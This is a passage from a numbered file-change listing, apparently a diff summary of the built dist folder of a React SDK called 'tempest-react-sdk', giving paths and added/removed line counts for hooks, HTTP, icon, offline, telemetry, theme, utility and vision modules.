  979. package/dist/hooks/use-document-visibility.cjs.map +1 -1
  980. package/dist/hooks/use-document-visibility.js.map +1 -1
  981. package/dist/hooks/use-draft-filters.cjs.map +1 -1
  982. package/dist/hooks/use-draft-filters.js.map +1 -1
  983. package/dist/hooks/use-event-listener.cjs.map +1 -1
  984. package/dist/hooks/use-event-listener.js.map +1 -1
  985. package/dist/hooks/use-favicon.cjs.map +1 -1
  986. package/dist/hooks/use-favicon.js.map +1 -1
  987. package/dist/hooks/use-focus-trap.cjs.map +1 -1
  988. package/dist/hooks/use-focus-trap.js.map +1 -1
  989. package/dist/hooks/use-fullscreen-element.cjs.map +1 -1
  990. package/dist/hooks/use-fullscreen-element.js.map +1 -1
  991. package/dist/hooks/use-fullscreen.cjs +1 -1
  992. package/dist/hooks/use-fullscreen.cjs.map +1 -1
  993. package/dist/hooks/use-fullscreen.js +7 -23
  994. package/dist/hooks/use-fullscreen.js.map +1 -1
  995. package/dist/hooks/use-geolocation.cjs.map +1 -1
  996. package/dist/hooks/use-geolocation.js.map +1 -1
  997. package/dist/hooks/use-hover.cjs.map +1 -1
  998. package/dist/hooks/use-hover.js.map +1 -1
  999. package/dist/hooks/use-idle.cjs.map +1 -1
  1000. package/dist/hooks/use-idle.js.map +1 -1
  1001. package/dist/hooks/use-install-prompt.cjs +1 -1
  1002. package/dist/hooks/use-install-prompt.cjs.map +1 -1
  1003. package/dist/hooks/use-install-prompt.js +1 -1
  1004. package/dist/hooks/use-install-prompt.js.map +1 -1
  1005. package/dist/hooks/use-intersection-observer.cjs.map +1 -1
  1006. package/dist/hooks/use-intersection-observer.js.map +1 -1
  1007. package/dist/hooks/use-interval.cjs.map +1 -1
  1008. package/dist/hooks/use-interval.js.map +1 -1
  1009. package/dist/hooks/use-is-first-render.cjs.map +1 -1
  1010. package/dist/hooks/use-is-first-render.js.map +1 -1
  1011. package/dist/hooks/use-keyboard-shortcut.cjs.map +1 -1
  1012. package/dist/hooks/use-keyboard-shortcut.js.map +1 -1
  1013. package/dist/hooks/use-latest-ref.cjs.map +1 -1
  1014. package/dist/hooks/use-latest-ref.js.map +1 -1
  1015. package/dist/hooks/use-list-state.cjs.map +1 -1
  1016. package/dist/hooks/use-list-state.js.map +1 -1
  1017. package/dist/hooks/use-local-storage.cjs +1 -1
  1018. package/dist/hooks/use-local-storage.cjs.map +1 -1
  1019. package/dist/hooks/use-local-storage.js +2 -5
  1020. package/dist/hooks/use-local-storage.js.map +1 -1
  1021. package/dist/hooks/use-long-press-handlers.cjs.map +1 -1
  1022. package/dist/hooks/use-long-press-handlers.js.map +1 -1
  1023. package/dist/hooks/use-long-press.cjs.map +1 -1
  1024. package/dist/hooks/use-long-press.js.map +1 -1
  1025. package/dist/hooks/use-map.cjs.map +1 -1
  1026. package/dist/hooks/use-map.js.map +1 -1
  1027. package/dist/hooks/use-media-devices.cjs.map +1 -1
  1028. package/dist/hooks/use-media-devices.js.map +1 -1
  1029. package/dist/hooks/use-media-permission.cjs +1 -1
  1030. package/dist/hooks/use-media-permission.cjs.map +1 -1
  1031. package/dist/hooks/use-media-permission.js +2 -5
  1032. package/dist/hooks/use-media-permission.js.map +1 -1
  1033. package/dist/hooks/use-media-query.cjs.map +1 -1
  1034. package/dist/hooks/use-media-query.js.map +1 -1
  1035. package/dist/hooks/use-object-url.cjs.map +1 -1
  1036. package/dist/hooks/use-object-url.js.map +1 -1
  1037. package/dist/hooks/use-online.cjs.map +1 -1
  1038. package/dist/hooks/use-online.js.map +1 -1
  1039. package/dist/hooks/use-pagination.cjs.map +1 -1
  1040. package/dist/hooks/use-pagination.js.map +1 -1
  1041. package/dist/hooks/use-previous.cjs.map +1 -1
  1042. package/dist/hooks/use-previous.js.map +1 -1
  1043. package/dist/hooks/use-push-to-talk.cjs.map +1 -1
  1044. package/dist/hooks/use-push-to-talk.js.map +1 -1
  1045. package/dist/hooks/use-queue.cjs.map +1 -1
  1046. package/dist/hooks/use-queue.js.map +1 -1
  1047. package/dist/hooks/use-resize-observer.cjs.map +1 -1
  1048. package/dist/hooks/use-resize-observer.js.map +1 -1
  1049. package/dist/hooks/use-scroll-lock.cjs.map +1 -1
  1050. package/dist/hooks/use-scroll-lock.js.map +1 -1
  1051. package/dist/hooks/use-scroll-overflow.cjs.map +1 -1
  1052. package/dist/hooks/use-scroll-overflow.js.map +1 -1
  1053. package/dist/hooks/use-service-worker-update.cjs.map +1 -1
  1054. package/dist/hooks/use-service-worker-update.js.map +1 -1
  1055. package/dist/hooks/use-set.cjs.map +1 -1
  1056. package/dist/hooks/use-set.js.map +1 -1
  1057. package/dist/hooks/use-sortable.cjs.map +1 -1
  1058. package/dist/hooks/use-sortable.js.map +1 -1
  1059. package/dist/hooks/use-stable-callback.cjs.map +1 -1
  1060. package/dist/hooks/use-stable-callback.js.map +1 -1
  1061. package/dist/hooks/use-storage-estimate.cjs.map +1 -1
  1062. package/dist/hooks/use-storage-estimate.js.map +1 -1
  1063. package/dist/hooks/use-throttle.cjs.map +1 -1
  1064. package/dist/hooks/use-throttle.js.map +1 -1
  1065. package/dist/hooks/use-timeout.cjs.map +1 -1
  1066. package/dist/hooks/use-timeout.js.map +1 -1
  1067. package/dist/hooks/use-toggle.cjs.map +1 -1
  1068. package/dist/hooks/use-toggle.js.map +1 -1
  1069. package/dist/hooks/use-typewriter.cjs.map +1 -1
  1070. package/dist/hooks/use-typewriter.js.map +1 -1
  1071. package/dist/hooks/use-window-size.cjs.map +1 -1
  1072. package/dist/hooks/use-window-size.js.map +1 -1
  1073. package/dist/http/api-client.cjs.map +1 -1
  1074. package/dist/http/api-client.js.map +1 -1
  1075. package/dist/http/build-url.cjs.map +1 -1
  1076. package/dist/http/build-url.js.map +1 -1
  1077. package/dist/http/credential-scope.cjs.map +1 -1
  1078. package/dist/http/credential-scope.js.map +1 -1
  1079. package/dist/http/csrf.cjs.map +1 -1
  1080. package/dist/http/csrf.js.map +1 -1
  1081. package/dist/http/decode-response.cjs.map +1 -1
  1082. package/dist/http/decode-response.js.map +1 -1
  1083. package/dist/http/describe-api-error.cjs.map +1 -1
  1084. package/dist/http/describe-api-error.js.map +1 -1
  1085. package/dist/http/errors.cjs.map +1 -1
  1086. package/dist/http/errors.js.map +1 -1
  1087. package/dist/http/idempotency.cjs.map +1 -1
  1088. package/dist/http/idempotency.js.map +1 -1
  1089. package/dist/http/parse-response.cjs.map +1 -1
  1090. package/dist/http/parse-response.js.map +1 -1
  1091. package/dist/http/resumable-upload.cjs.map +1 -1
  1092. package/dist/http/resumable-upload.js.map +1 -1
  1093. package/dist/http/retry.cjs.map +1 -1
  1094. package/dist/http/retry.js.map +1 -1
  1095. package/dist/http/timeout.cjs.map +1 -1
  1096. package/dist/http/timeout.js.map +1 -1
  1097. package/dist/http/upload-with-progress.cjs +1 -1
  1098. package/dist/http/upload-with-progress.cjs.map +1 -1
  1099. package/dist/http/upload-with-progress.js +2 -7
  1100. package/dist/http/upload-with-progress.js.map +1 -1
  1101. package/dist/http/use-describe-api-error.cjs.map +1 -1
  1102. package/dist/http/use-describe-api-error.js.map +1 -1
  1103. package/dist/http/use-poll.cjs +1 -1
  1104. package/dist/http/use-poll.cjs.map +1 -1
  1105. package/dist/http/use-poll.js +2 -5
  1106. package/dist/http/use-poll.js.map +1 -1
  1107. package/dist/i18n/I18nProvider.cjs.map +1 -1
  1108. package/dist/i18n/I18nProvider.js.map +1 -1
  1109. package/dist/i18n/create-i18n.cjs.map +1 -1
  1110. package/dist/i18n/create-i18n.js.map +1 -1
  1111. package/dist/icons/Icon.cjs.map +1 -1
  1112. package/dist/icons/Icon.js.map +1 -1
  1113. package/dist/icons/IconPicker.cjs.map +1 -1
  1114. package/dist/icons/IconPicker.js.map +1 -1
  1115. package/dist/icons/IconPicker.module.cjs.map +1 -1
  1116. package/dist/icons/IconPicker.module.js.map +1 -1
  1117. package/dist/icons/IconProvider.cjs.map +1 -1
  1118. package/dist/icons/IconProvider.js.map +1 -1
  1119. package/dist/icons/alias.cjs.map +1 -1
  1120. package/dist/icons/alias.js.map +1 -1
  1121. package/dist/icons/generated/aliases.cjs.map +1 -1
  1122. package/dist/icons/generated/aliases.js.map +1 -1
  1123. package/dist/icons/generated/icon-names.cjs.map +1 -1
  1124. package/dist/icons/generated/icon-names.js.map +1 -1
  1125. package/dist/icons/generated/loaders.cjs.map +1 -1
  1126. package/dist/icons/generated/loaders.js.map +1 -1
  1127. package/dist/icons/generated/shard-00.cjs.map +1 -1
  1128. package/dist/icons/generated/shard-00.js.map +1 -1
  1129. package/dist/icons/generated/shard-01.cjs.map +1 -1
  1130. package/dist/icons/generated/shard-01.js.map +1 -1
  1131. package/dist/icons/generated/shard-02.cjs.map +1 -1
  1132. package/dist/icons/generated/shard-02.js.map +1 -1
  1133. package/dist/icons/generated/shard-03.cjs.map +1 -1
  1134. package/dist/icons/generated/shard-03.js.map +1 -1
  1135. package/dist/icons/generated/shard-04.cjs.map +1 -1
  1136. package/dist/icons/generated/shard-04.js.map +1 -1
  1137. package/dist/icons/generated/shard-05.cjs.map +1 -1
  1138. package/dist/icons/generated/shard-05.js.map +1 -1
  1139. package/dist/icons/generated/shard-06.cjs.map +1 -1
  1140. package/dist/icons/generated/shard-06.js.map +1 -1
  1141. package/dist/icons/generated/shard-07.cjs.map +1 -1
  1142. package/dist/icons/generated/shard-07.js.map +1 -1
  1143. package/dist/icons/generated/shard-08.cjs.map +1 -1
  1144. package/dist/icons/generated/shard-08.js.map +1 -1
  1145. package/dist/icons/generated/shard-09.cjs.map +1 -1
  1146. package/dist/icons/generated/shard-09.js.map +1 -1
  1147. package/dist/icons/generated/shard-10.cjs.map +1 -1
  1148. package/dist/icons/generated/shard-10.js.map +1 -1
  1149. package/dist/icons/generated/shard-11.cjs.map +1 -1
  1150. package/dist/icons/generated/shard-11.js.map +1 -1
  1151. package/dist/icons/generated/shard-12.cjs.map +1 -1
  1152. package/dist/icons/generated/shard-12.js.map +1 -1
  1153. package/dist/icons/generated/shard-13.cjs.map +1 -1
  1154. package/dist/icons/generated/shard-13.js.map +1 -1
  1155. package/dist/icons/generated/shard-14.cjs.map +1 -1
  1156. package/dist/icons/generated/shard-14.js.map +1 -1
  1157. package/dist/icons/generated/shard-15.cjs.map +1 -1
  1158. package/dist/icons/generated/shard-15.js.map +1 -1
  1159. package/dist/icons/generated/shard-16.cjs.map +1 -1
  1160. package/dist/icons/generated/shard-16.js.map +1 -1
  1161. package/dist/icons/generated/shard-17.cjs.map +1 -1
  1162. package/dist/icons/generated/shard-17.js.map +1 -1
  1163. package/dist/icons/generated/shard-18.cjs.map +1 -1
  1164. package/dist/icons/generated/shard-18.js.map +1 -1
  1165. package/dist/icons/generated/shard-19.cjs.map +1 -1
  1166. package/dist/icons/generated/shard-19.js.map +1 -1
  1167. package/dist/icons/generated/shard-20.cjs.map +1 -1
  1168. package/dist/icons/generated/shard-20.js.map +1 -1
  1169. package/dist/icons/generated/shard-21.cjs.map +1 -1
  1170. package/dist/icons/generated/shard-21.js.map +1 -1
  1171. package/dist/icons/generated/shard-22.cjs.map +1 -1
  1172. package/dist/icons/generated/shard-22.js.map +1 -1
  1173. package/dist/icons/generated/shard-23.cjs.map +1 -1
  1174. package/dist/icons/generated/shard-23.js.map +1 -1
  1175. package/dist/icons/generated/shard-24.cjs.map +1 -1
  1176. package/dist/icons/generated/shard-24.js.map +1 -1
  1177. package/dist/icons/generated/shard-25.cjs.map +1 -1
  1178. package/dist/icons/generated/shard-25.js.map +1 -1
  1179. package/dist/icons/generated/shard-26.cjs.map +1 -1
  1180. package/dist/icons/generated/shard-26.js.map +1 -1
  1181. package/dist/icons/generated/shard-27.cjs.map +1 -1
  1182. package/dist/icons/generated/shard-27.js.map +1 -1
  1183. package/dist/icons/generated/shard-28.cjs.map +1 -1
  1184. package/dist/icons/generated/shard-28.js.map +1 -1
  1185. package/dist/icons/generated/shard-29.cjs.map +1 -1
  1186. package/dist/icons/generated/shard-29.js.map +1 -1
  1187. package/dist/icons/generated/shard-30.cjs.map +1 -1
  1188. package/dist/icons/generated/shard-30.js.map +1 -1
  1189. package/dist/icons/generated/shard-31.cjs.map +1 -1
  1190. package/dist/icons/generated/shard-31.js.map +1 -1
  1191. package/dist/icons/generated/shard-32.cjs.map +1 -1
  1192. package/dist/icons/generated/shard-32.js.map +1 -1
  1193. package/dist/icons/generated/shard-33.cjs.map +1 -1
  1194. package/dist/icons/generated/shard-33.js.map +1 -1
  1195. package/dist/icons/generated/shard-34.cjs.map +1 -1
  1196. package/dist/icons/generated/shard-34.js.map +1 -1
  1197. package/dist/icons/generated/shard-35.cjs.map +1 -1
  1198. package/dist/icons/generated/shard-35.js.map +1 -1
  1199. package/dist/icons/generated/shard-36.cjs.map +1 -1
  1200. package/dist/icons/generated/shard-36.js.map +1 -1
  1201. package/dist/icons/generated/shard-37.cjs.map +1 -1
  1202. package/dist/icons/generated/shard-37.js.map +1 -1
  1203. package/dist/icons/generated/shard-38.cjs.map +1 -1
  1204. package/dist/icons/generated/shard-38.js.map +1 -1
  1205. package/dist/icons/generated/shard-39.cjs.map +1 -1
  1206. package/dist/icons/generated/shard-39.js.map +1 -1
  1207. package/dist/icons/generated/shard-40.cjs.map +1 -1
  1208. package/dist/icons/generated/shard-40.js.map +1 -1
  1209. package/dist/icons/generated/shard-41.cjs.map +1 -1
  1210. package/dist/icons/generated/shard-41.js.map +1 -1
  1211. package/dist/icons/generated/shard-42.cjs.map +1 -1
  1212. package/dist/icons/generated/shard-42.js.map +1 -1
  1213. package/dist/icons/generated/shard-43.cjs.map +1 -1
  1214. package/dist/icons/generated/shard-43.js.map +1 -1
  1215. package/dist/icons/generated/shard-44.cjs.map +1 -1
  1216. package/dist/icons/generated/shard-44.js.map +1 -1
  1217. package/dist/icons/generated/shard-45.cjs.map +1 -1
  1218. package/dist/icons/generated/shard-45.js.map +1 -1
  1219. package/dist/icons/icon-context.cjs.map +1 -1
  1220. package/dist/icons/icon-context.js.map +1 -1
  1221. package/dist/icons/is-icon-name.cjs.map +1 -1
  1222. package/dist/icons/is-icon-name.js.map +1 -1
  1223. package/dist/icons/material-symbols.cjs.map +1 -1
  1224. package/dist/icons/material-symbols.js.map +1 -1
  1225. package/dist/icons/normalize-icon-name.cjs.map +1 -1
  1226. package/dist/icons/normalize-icon-name.js.map +1 -1
  1227. package/dist/icons/shard-cache.cjs +1 -1
  1228. package/dist/icons/shard-cache.cjs.map +1 -1
  1229. package/dist/icons/shard-cache.js +2 -5
  1230. package/dist/icons/shard-cache.js.map +1 -1
  1231. package/dist/icons/use-icon.cjs.map +1 -1
  1232. package/dist/icons/use-icon.js.map +1 -1
  1233. package/dist/icons/validate-icon-name.cjs.map +1 -1
  1234. package/dist/icons/validate-icon-name.js.map +1 -1
  1235. package/dist/icons-virtual.cjs.map +1 -1
  1236. package/dist/icons-virtual.js.map +1 -1
  1237. package/dist/imaging/canvas.cjs.map +1 -1
  1238. package/dist/imaging/canvas.js.map +1 -1
  1239. package/dist/imaging/compress.cjs.map +1 -1
  1240. package/dist/imaging/compress.js.map +1 -1
  1241. package/dist/imaging/decode.cjs.map +1 -1
  1242. package/dist/imaging/decode.js.map +1 -1
  1243. package/dist/imaging/encode.cjs.map +1 -1
  1244. package/dist/imaging/encode.js.map +1 -1
  1245. package/dist/imaging/exceptions.cjs.map +1 -1
  1246. package/dist/imaging/exceptions.js.map +1 -1
  1247. package/dist/imaging/frame.cjs.map +1 -1
  1248. package/dist/imaging/frame.js.map +1 -1
  1249. package/dist/imaging/thumbnails.cjs.map +1 -1
  1250. package/dist/imaging/thumbnails.js.map +1 -1
  1251. package/dist/imaging/transform.cjs.map +1 -1
  1252. package/dist/imaging/transform.js.map +1 -1
  1253. package/dist/imaging/use-image-processing.cjs.map +1 -1
  1254. package/dist/imaging/use-image-processing.js.map +1 -1
  1255. package/dist/logger/logger.cjs.map +1 -1
  1256. package/dist/logger/logger.js.map +1 -1
  1257. package/dist/neural.cjs.map +1 -1
  1258. package/dist/neural.js.map +1 -1
  1259. package/dist/oauth/GoogleSignIn.cjs +1 -1
  1260. package/dist/oauth/GoogleSignIn.cjs.map +1 -1
  1261. package/dist/oauth/GoogleSignIn.js +6 -9
  1262. package/dist/oauth/GoogleSignIn.js.map +1 -1
  1263. package/dist/oauth/callback.cjs.map +1 -1
  1264. package/dist/oauth/callback.js.map +1 -1
  1265. package/dist/oauth/use-oauth-callback.cjs.map +1 -1
  1266. package/dist/oauth/use-oauth-callback.js.map +1 -1
  1267. package/dist/offline/conflict.cjs.map +1 -1
  1268. package/dist/offline/conflict.js.map +1 -1
  1269. package/dist/offline/create-offline-database.cjs.map +1 -1
  1270. package/dist/offline/create-offline-database.js.map +1 -1
  1271. package/dist/offline/create-offline-store.cjs +1 -1
  1272. package/dist/offline/create-offline-store.cjs.map +1 -1
  1273. package/dist/offline/create-offline-store.js +1 -5
  1274. package/dist/offline/create-offline-store.js.map +1 -1
  1275. package/dist/offline/create-offline-sync.cjs +1 -1
  1276. package/dist/offline/create-offline-sync.cjs.map +1 -1
  1277. package/dist/offline/create-offline-sync.js +9 -14
  1278. package/dist/offline/create-offline-sync.js.map +1 -1
  1279. package/dist/offline/use-offline-sync.cjs.map +1 -1
  1280. package/dist/offline/use-offline-sync.js.map +1 -1
  1281. package/dist/perf/cache-size.cjs.map +1 -1
  1282. package/dist/perf/cache-size.js.map +1 -1
  1283. package/dist/perf/device.cjs.map +1 -1
  1284. package/dist/perf/device.js.map +1 -1
  1285. package/dist/perf/format.cjs.map +1 -1
  1286. package/dist/perf/format.js.map +1 -1
  1287. package/dist/perf/profiler.cjs.map +1 -1
  1288. package/dist/perf/profiler.js.map +1 -1
  1289. package/dist/push/use-push-subscription.cjs.map +1 -1
  1290. package/dist/push/use-push-subscription.js.map +1 -1
  1291. package/dist/push/utils.cjs.map +1 -1
  1292. package/dist/push/utils.js.map +1 -1
  1293. package/dist/push/web-push-client.cjs.map +1 -1
  1294. package/dist/push/web-push-client.js.map +1 -1
  1295. package/dist/query/QueryProvider.cjs.map +1 -1
  1296. package/dist/query/QueryProvider.js.map +1 -1
  1297. package/dist/query/constants.cjs.map +1 -1
  1298. package/dist/query/constants.js.map +1 -1
  1299. package/dist/query/create-query-keys.cjs.map +1 -1
  1300. package/dist/query/create-query-keys.js.map +1 -1
  1301. package/dist/query/foreign-client-warning.cjs.map +1 -1
  1302. package/dist/query/foreign-client-warning.js.map +1 -1
  1303. package/dist/query/offline-persistence.cjs +1 -1
  1304. package/dist/query/offline-persistence.cjs.map +1 -1
  1305. package/dist/query/offline-persistence.js +2 -10
  1306. package/dist/query/offline-persistence.js.map +1 -1
  1307. package/dist/query/optimistic.cjs.map +1 -1
  1308. package/dist/query/optimistic.js.map +1 -1
  1309. package/dist/query/pagination.cjs.map +1 -1
  1310. package/dist/query/pagination.js.map +1 -1
  1311. package/dist/query/retry-policy.cjs.map +1 -1
  1312. package/dist/query/retry-policy.js.map +1 -1
  1313. package/dist/query/use-cursor-query.cjs.map +1 -1
  1314. package/dist/query/use-cursor-query.js.map +1 -1
  1315. package/dist/query/use-offline-mutation.cjs.map +1 -1
  1316. package/dist/query/use-offline-mutation.js.map +1 -1
  1317. package/dist/query/use-paginated-query.cjs.map +1 -1
  1318. package/dist/query/use-paginated-query.js.map +1 -1
  1319. package/dist/router/AppRouter.cjs.map +1 -1
  1320. package/dist/router/AppRouter.js.map +1 -1
  1321. package/dist/router/RouteGuard.cjs.map +1 -1
  1322. package/dist/router/RouteGuard.js.map +1 -1
  1323. package/dist/router/index.js +2 -2
  1324. package/dist/share/share-or-download.cjs.map +1 -1
  1325. package/dist/share/share-or-download.js.map +1 -1
  1326. package/dist/share/share.cjs.map +1 -1
  1327. package/dist/share/share.js.map +1 -1
  1328. package/dist/sse/create-event-stream.cjs.map +1 -1
  1329. package/dist/sse/create-event-stream.js.map +1 -1
  1330. package/dist/sse/use-event-stream.cjs.map +1 -1
  1331. package/dist/sse/use-event-stream.js.map +1 -1
  1332. package/dist/store/create-selectors.cjs.map +1 -1
  1333. package/dist/store/create-selectors.js.map +1 -1
  1334. package/dist/store/create-store.cjs.map +1 -1
  1335. package/dist/store/create-store.js.map +1 -1
  1336. package/dist/sw/background-sync.cjs.map +1 -1
  1337. package/dist/sw/background-sync.js.map +1 -1
  1338. package/dist/sw/cache-inspect.cjs.map +1 -1
  1339. package/dist/sw/cache-inspect.js.map +1 -1
  1340. package/dist/sw/cache.cjs +1 -1
  1341. package/dist/sw/cache.cjs.map +1 -1
  1342. package/dist/sw/cache.js +2 -6
  1343. package/dist/sw/cache.js.map +1 -1
  1344. package/dist/sw/create-push-handler.cjs.map +1 -1
  1345. package/dist/sw/create-push-handler.js.map +1 -1
  1346. package/dist/sw/credential-headers.cjs.map +1 -1
  1347. package/dist/sw/credential-headers.js.map +1 -1
  1348. package/dist/sw/periodic-sync.cjs.map +1 -1
  1349. package/dist/sw/periodic-sync.js.map +1 -1
  1350. package/dist/sw/register-service-worker.cjs.map +1 -1
  1351. package/dist/sw/register-service-worker.js.map +1 -1
  1352. package/dist/sw/session-data.cjs.map +1 -1
  1353. package/dist/sw/session-data.js.map +1 -1
  1354. package/dist/tabular/assets.cjs.map +1 -1
  1355. package/dist/tabular/assets.js.map +1 -1
  1356. package/dist/tabular/cache.cjs.map +1 -1
  1357. package/dist/tabular/cache.js.map +1 -1
  1358. package/dist/tabular/compact.cjs.map +1 -1
  1359. package/dist/tabular/compact.js.map +1 -1
  1360. package/dist/tabular/exceptions.cjs.map +1 -1
  1361. package/dist/tabular/exceptions.js.map +1 -1
  1362. package/dist/tabular/manifest.cjs.map +1 -1
  1363. package/dist/tabular/manifest.js.map +1 -1
  1364. package/dist/tabular/predictor.cjs.map +1 -1
  1365. package/dist/tabular/predictor.js.map +1 -1
  1366. package/dist/tabular/use-tabular-predictor.cjs.map +1 -1
  1367. package/dist/tabular/use-tabular-predictor.js.map +1 -1
  1368. package/dist/telemetry/TelemetryProvider.cjs.map +1 -1
  1369. package/dist/telemetry/TelemetryProvider.js.map +1 -1
  1370. package/dist/telemetry/app-error-adapter.cjs.map +1 -1
  1371. package/dist/telemetry/app-error-adapter.js.map +1 -1
  1372. package/dist/telemetry/app-error-queue.cjs.map +1 -1
  1373. package/dist/telemetry/app-error-queue.js.map +1 -1
  1374. package/dist/telemetry/app-error-reporter.cjs.map +1 -1
  1375. package/dist/telemetry/app-error-reporter.js.map +1 -1
  1376. package/dist/telemetry/app-error-schema.cjs.map +1 -1
  1377. package/dist/telemetry/app-error-schema.js.map +1 -1
  1378. package/dist/telemetry/app-error-transport.cjs.map +1 -1
  1379. package/dist/telemetry/app-error-transport.js.map +1 -1
  1380. package/dist/telemetry/console-adapter.cjs.map +1 -1
  1381. package/dist/telemetry/console-adapter.js.map +1 -1
  1382. package/dist/telemetry/describe-app-error.cjs.map +1 -1
  1383. package/dist/telemetry/describe-app-error.js.map +1 -1
  1384. package/dist/telemetry/posthog-adapter.cjs +1 -1
  1385. package/dist/telemetry/posthog-adapter.cjs.map +1 -1
  1386. package/dist/telemetry/posthog-adapter.js +1 -5
  1387. package/dist/telemetry/posthog-adapter.js.map +1 -1
  1388. package/dist/telemetry/sentry-adapter.cjs.map +1 -1
  1389. package/dist/telemetry/sentry-adapter.js.map +1 -1
  1390. package/dist/tempest-react-sdk.cjs +1 -1
  1391. package/dist/tempest-react-sdk.d.ts +234 -3
  1392. package/dist/tempest-react-sdk.js +85 -85
  1393. package/dist/testing/create-mock-handlers.cjs.map +1 -1
  1394. package/dist/testing/create-mock-handlers.js.map +1 -1
  1395. package/dist/testing.js +1 -2
  1396. package/dist/theme/ThemeProvider.cjs.map +1 -1
  1397. package/dist/theme/ThemeProvider.js.map +1 -1
  1398. package/dist/theme/apply-theme.cjs.map +1 -1
  1399. package/dist/theme/apply-theme.js.map +1 -1
  1400. package/dist/theme/color.cjs.map +1 -1
  1401. package/dist/theme/color.js.map +1 -1
  1402. package/dist/theme/create-theme.cjs.map +1 -1
  1403. package/dist/theme/create-theme.js.map +1 -1
  1404. package/dist/theme/data-viz-ramps.cjs.map +1 -1
  1405. package/dist/theme/data-viz-ramps.js.map +1 -1
  1406. package/dist/theme/initial-theme.cjs.map +1 -1
  1407. package/dist/theme/initial-theme.js.map +1 -1
  1408. package/dist/theme/inverse-render.cjs.map +1 -1
  1409. package/dist/theme/inverse-render.js.map +1 -1
  1410. package/dist/theme/inverse-restore.cjs.map +1 -1
  1411. package/dist/theme/inverse-restore.js.map +1 -1
  1412. package/dist/theme/inverse-surface.cjs.map +1 -1
  1413. package/dist/theme/inverse-surface.js.map +1 -1
  1414. package/dist/theme/status-tokens.cjs.map +1 -1
  1415. package/dist/theme/status-tokens.js.map +1 -1
  1416. package/dist/theme/theme-presets.cjs.map +1 -1
  1417. package/dist/theme/theme-presets.js.map +1 -1
  1418. package/dist/utils/absent.cjs.map +1 -1
  1419. package/dist/utils/absent.js.map +1 -1
  1420. package/dist/utils/arrays.cjs.map +1 -1
  1421. package/dist/utils/arrays.js.map +1 -1
  1422. package/dist/utils/base64.cjs.map +1 -1
  1423. package/dist/utils/base64.js.map +1 -1
  1424. package/dist/utils/cn.cjs.map +1 -1
  1425. package/dist/utils/cn.js.map +1 -1
  1426. package/dist/utils/compare-values.cjs.map +1 -1
  1427. package/dist/utils/compare-values.js.map +1 -1
  1428. package/dist/utils/compressed-storage.cjs.map +1 -1
  1429. package/dist/utils/compressed-storage.js.map +1 -1
  1430. package/dist/utils/csv.cjs.map +1 -1
  1431. package/dist/utils/csv.js.map +1 -1
  1432. package/dist/utils/dev-mode.cjs.map +1 -1
  1433. package/dist/utils/dev-mode.js.map +1 -1
  1434. package/dist/utils/duplicate-instance.cjs.map +1 -1
  1435. package/dist/utils/duplicate-instance.js.map +1 -1
  1436. package/dist/utils/format.cjs.map +1 -1
  1437. package/dist/utils/format.js.map +1 -1
  1438. package/dist/utils/functions.cjs +1 -1
  1439. package/dist/utils/functions.cjs.map +1 -1
  1440. package/dist/utils/functions.js +1 -1
  1441. package/dist/utils/functions.js.map +1 -1
  1442. package/dist/utils/guards.cjs.map +1 -1
  1443. package/dist/utils/guards.js.map +1 -1
  1444. package/dist/utils/ids.cjs.map +1 -1
  1445. package/dist/utils/ids.js.map +1 -1
  1446. package/dist/utils/intl-cache.cjs.map +1 -1
  1447. package/dist/utils/intl-cache.js.map +1 -1
  1448. package/dist/utils/json-frame.cjs.map +1 -1
  1449. package/dist/utils/json-frame.js.map +1 -1
  1450. package/dist/utils/numbers.cjs.map +1 -1
  1451. package/dist/utils/numbers.js.map +1 -1
  1452. package/dist/utils/objects.cjs.map +1 -1
  1453. package/dist/utils/objects.js.map +1 -1
  1454. package/dist/utils/owner-fingerprint.cjs.map +1 -1
  1455. package/dist/utils/owner-fingerprint.js.map +1 -1
  1456. package/dist/utils/promises.cjs.map +1 -1
  1457. package/dist/utils/promises.js.map +1 -1
  1458. package/dist/utils/relative-time.cjs.map +1 -1
  1459. package/dist/utils/relative-time.js.map +1 -1
  1460. package/dist/utils/safe-url.cjs.map +1 -1
  1461. package/dist/utils/safe-url.js.map +1 -1
  1462. package/dist/utils/schema-like.cjs.map +1 -1
  1463. package/dist/utils/schema-like.js.map +1 -1
  1464. package/dist/utils/storage.cjs +1 -1
  1465. package/dist/utils/storage.cjs.map +1 -1
  1466. package/dist/utils/storage.js +2 -2
  1467. package/dist/utils/storage.js.map +1 -1
  1468. package/dist/utils/strings.cjs.map +1 -1
  1469. package/dist/utils/strings.js.map +1 -1
  1470. package/dist/utils/xlsx.cjs.map +1 -1
  1471. package/dist/utils/xlsx.js.map +1 -1
  1472. package/dist/vision/core/canvas.cjs.map +1 -1
  1473. package/dist/vision/core/canvas.js.map +1 -1
  1474. package/dist/vision/core/dtypes.cjs.map +1 -1
  1475. package/dist/vision/core/dtypes.js.map +1 -1
  1476. package/dist/vision/core/exceptions.cjs.map +1 -1
  1477. package/dist/vision/core/exceptions.js.map +1 -1
  1478. package/dist/vision/core/graph.cjs.map +1 -1
  1479. package/dist/vision/core/graph.js.map +1 -1
  1480. package/dist/vision/core/metadata.cjs +1 -1
  1481. package/dist/vision/core/metadata.cjs.map +1 -1
  1482. package/dist/vision/core/metadata.js +9 -26
  1483. package/dist/vision/core/metadata.js.map +1 -1
  1484. package/dist/vision/core/providers.cjs.map +1 -1
  1485. package/dist/vision/core/providers.js.map +1 -1
  1486. package/dist/vision/core/session.cjs.map +1 -1
  1487. package/dist/vision/core/session.js.map +1 -1
  1488. package/dist/vision/core/timing.cjs.map +1 -1
  1489. package/dist/vision/core/timing.js.map +1 -1
  1490. package/dist/vision/fusion.cjs.map +1 -1
  1491. package/dist/vision/fusion.js.map +1 -1
  1492. package/dist/vision/index.cjs.map +1 -1
  1493. package/dist/vision/index.js.map +1 -1
  1494. package/dist/vision/io/image.cjs.map +1 -1
  1495. package/dist/vision/io/image.js.map +1 -1
  1496. package/dist/vision/labels.cjs.map +1 -1
  1497. package/dist/vision/labels.js.map +1 -1
  1498. package/dist/vision/luminance.cjs.map +1 -1
  1499. package/dist/vision/luminance.js.map +1 -1
  1500. package/dist/vision/normalization.cjs.map +1 -1
  1501. package/dist/vision/normalization.js.map +1 -1
  1502. package/dist/vision/postprocess/classification.cjs.map +1 -1
  1503. package/dist/vision/postprocess/classification.js.map +1 -1
  1504. package/dist/vision/postprocess/detection.cjs.map +1 -1
  1505. package/dist/vision/postprocess/detection.js.map +1 -1
  1506. package/dist/vision/postprocess/segmentation.cjs.map +1 -1
  1507. package/dist/vision/postprocess/segmentation.js.map +1 -1
  1508. package/dist/vision/preprocess/image.cjs.map +1 -1
